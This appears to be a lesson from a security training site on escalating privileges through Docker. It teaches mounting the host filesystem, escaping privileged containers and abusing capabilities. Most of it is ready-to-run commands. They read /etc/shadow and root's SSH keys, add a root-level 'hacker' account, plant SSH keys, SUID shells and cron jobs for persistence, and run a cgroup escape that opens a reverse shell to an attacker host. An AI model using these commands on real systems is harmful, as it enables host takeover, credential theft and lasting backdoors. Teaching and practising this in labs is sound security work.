Docker Privilege Escalation

intermediate35 minWriteup

Escaping containers and exploiting docker group

Learning Objectives

  • Identify docker group membership
  • Exploit docker socket
  • Escape misconfigured containers
  • Abuse container capabilities

Docker group membership is often seen as "not quite root" - but that's wrong. Being in the docker group is effectively root access because you can mount the entire host filesystem into a container you control.

Think of it like having the keys to a warehouse of forklifts. You might not have the manager's office key, but you can drive a forklift through the wall. Docker lets you run containers that access the host as root - game over.

Docker = Root

If you're in the docker group, you have root. Always. There's no "safe" way to be in the docker group as a non-root user without having root-equivalent access to the host.

Checking Docker Access

bash
1606070;"># Check if you're in docker group
2id
3606070;"># Look for: groups=...,999(docker)
4 
5groups
6606070;"># Look for docker in the list
7 
8606070;"># Check if docker socket is accessible
9ls -la /var/run/docker.sock
10606070;"># srw-rw---- 1 root docker ... docker.sock
11 
12606070;"># Can you run docker commands?
13docker ps
14docker images
15 
16606070;"># If docker isn't in PATH but socket exists:
17/usr/bin/docker ps
18606070;"># Or use the socket directly

Host Filesystem Mount

The classic docker privilege escalation: mount the host's root filesystem into a container, then access it as root inside the container.

bash
1606070;"># Mount host root filesystem
2docker run -v /:/mnt --rm -it alpine chroot /mnt sh
3 
4606070;"># Breakdown:
5606070;"># -v /:/mnt = Mount host / to container /mnt
6606070;"># --rm = Remove container after exit
7606070;"># -it = Interactive terminal
8606070;"># alpine = Small Linux image
9606070;"># chroot /mnt = Change root to mounted host filesystem
10606070;"># sh = Run shell
11 
12606070;"># You're now root on the host!
13id
14606070;"># uid=0(root) gid=0(root)
15 
16606070;"># Common actions:
17cat /etc/shadow 606070;"># Read password hashes
18cat /root/.ssh/id_rsa 606070;"># SSH private keys
19echo 606070;">#a5d6ff;">'hacker:x:0:0::/root:/bin/bash' >> /etc/passwd # Add root user
20 
21606070;"># Add SSH key for persistence
22mkdir -p /root/.ssh
23echo 606070;">#a5d6ff;">"ssh-rsa AAAA...yourkey..." >> /root/.ssh/authorized_keys

Alternative Images

bash
1606070;"># If alpine isn't available, try others:
2docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
3docker run -v /:/mnt --rm -it debian chroot /mnt bash
4docker run -v /:/mnt --rm -it busybox chroot /mnt sh
5 
6606070;"># List available images
7docker images
8 
9606070;"># Pull an image if needed (requires internet)
10docker pull alpine

Docker Socket Mount

bash
1606070;"># If already in a container with docker socket mounted
2606070;"># (common in CI/CD pipelines)
3 
4ls -la /var/run/docker.sock
5606070;"># If this exists in your container, you can control host docker
6 
7606070;"># Use docker from within container to escalate
8docker run -v /:/mnt --rm -it alpine chroot /mnt sh
9 
10606070;"># This creates a new container from within a container
11606070;"># but the new container has host filesystem access!

Docker-in-Docker

Mounting docker.sock into containers is common for CI/CD but creates a direct privilege escalation path. Any code in that container can fully compromise the host.

Privileged Container Escape

bash
1606070;"># If you're in a privileged container (--privileged flag)
2606070;"># You have almost no container restrictions
3 
4606070;"># Check if privileged
5cat /proc/1/status | grep CapEff
6606070;"># If all bits set (ffffffff...), you're privileged
7 
8606070;"># Or check for devices
9ls /dev | wc -l
10606070;"># Privileged containers have many more devices
11 
12606070;"># Mount host disk directly
13mkdir -p /mnt/host
14mount /dev/sda1 /mnt/host
15606070;"># Now access host filesystem
16 
17606070;"># Alternative: use nsenter to escape
18nsenter --target 1 --mount --uts --ipc --net --pid -- bash
19606070;"># Enters host namespaces via PID 1

Capability-Based Escapes

bash
1606070;"># Containers with dangerous capabilities can escape
2 
3606070;"># Check capabilities
4capsh --print
5 
6606070;"># CAP_SYS_ADMIN + mount = can mount host disk
7606070;"># CAP_SYS_PTRACE = can inject into host processes
8606070;"># CAP_NET_ADMIN = some network-based escapes
9 
10606070;"># Example with CAP_SYS_ADMIN:
11606070;"># If container has CAP_SYS_ADMIN, mount cgroup for escape
12mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && \
13mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release && \
14host_path=$(sed -n 606070;">#a5d6ff;">'s/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) && \
15echo 606070;">#a5d6ff;">"$host_path/cmd" > /tmp/cgrp/release_agent && \
16echo 606070;">#a5d6ff;">'#!/bin/bash' > /cmd && \
17echo 606070;">#a5d6ff;">"bash -i >& /dev/tcp/ATTACKER/4444 0>&1" >> /cmd && \
18chmod +x /cmd && \
19sh -c 606070;">#a5d6ff;">"echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Exploitation Without Internet

bash
1606070;"># If you can't pull images but docker group exists:
2 
3606070;"># List existing images
4docker images
5 
6606070;"># Use any available image
7docker run -v /:/mnt --rm -it <available_image> chroot /mnt sh
8 
9606070;"># Build simple image from scratch (complex)
10606070;"># Create minimal rootfs and import
11 
12606070;"># Alternative: If docker save/load works
13606070;"># Transfer image as tar file from attacker machine

Docker Persistence

bash
1606070;"># Once you have root access via docker, establish persistence:
2 
3606070;"># 1. SUID bash
4docker run -v /:/mnt --rm -it alpine sh -c 606070;">#a5d6ff;">"chroot /mnt bash -c 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'"
5606070;"># Then: /tmp/rootbash -p
6 
7606070;"># 2. SSH key
8docker run -v /:/mnt --rm -it alpine sh -c 606070;">#a5d6ff;">"chroot /mnt bash -c 'mkdir -p /root/.ssh; echo "YOUR_KEY" >> /root/.ssh/authorized_keys'"
9 
10606070;"># 3. New user
11docker run -v /:/mnt --rm -it alpine sh -c 606070;">#a5d6ff;">"chroot /mnt bash -c 'echo "hacker:\$1\$salt\$hash:0:0::/root:/bin/bash" >> /etc/passwd'"
12 
13606070;"># 4. Cron persistence
14docker run -v /:/mnt --rm -it alpine sh -c 606070;">#a5d6ff;">"chroot /mnt bash -c 'echo "* * * * * root /tmp/shell.sh" >> /etc/crontab'"

Detecting Container Environment

bash
1606070;"># Are you in a container?
2 
3606070;"># Check for .dockerenv
4ls -la /.dockerenv
5606070;"># If exists, you're in a docker container
6 
7606070;"># Check cgroup
8cat /proc/1/cgroup
9606070;"># Look for "docker" in the paths
10 
11606070;"># Check for container-specific files
12cat /proc/1/environ | tr 606070;">#a5d6ff;">'\0' '\n' | grep -i container
13 
14606070;"># Limited devices
15ls /dev | wc -l
16606070;"># Containers typically have fewer devices
17 
18606070;"># PID 1 is usually a container process
19ps aux
20606070;"># Look at PID 1 - is it your app or init?

Docker Escalation Methodology

Docker Privilege Escalation Flow

1
Check Accessid, groups - look for docker group
2
Test Dockerdocker ps to verify access
3
List Imagesdocker images for available images
4
Mount Hostdocker run -v /:/mnt alpine...
5
Access Rootchroot into mounted host filesystem
6
PersistAdd SSH key, SUID binary, or user

Knowledge Check

Quick Quiz
Question 1 of 3

Why does docker group membership give root access?

Challenges

Docker Group Escape

Challenge
🔥 intermediate

As a user in the docker group, escape to root on the host system and create a persistent backdoor.

Need a hint? (4 available)

Key Takeaways

  • Docker group = root equivalent access
  • Mount host filesystem: docker run -v /:/mnt
  • Use chroot to operate on host as root
  • Check for /.dockerenv to detect containers
  • Privileged containers have additional escape vectors
  • Always establish persistence after docker escalation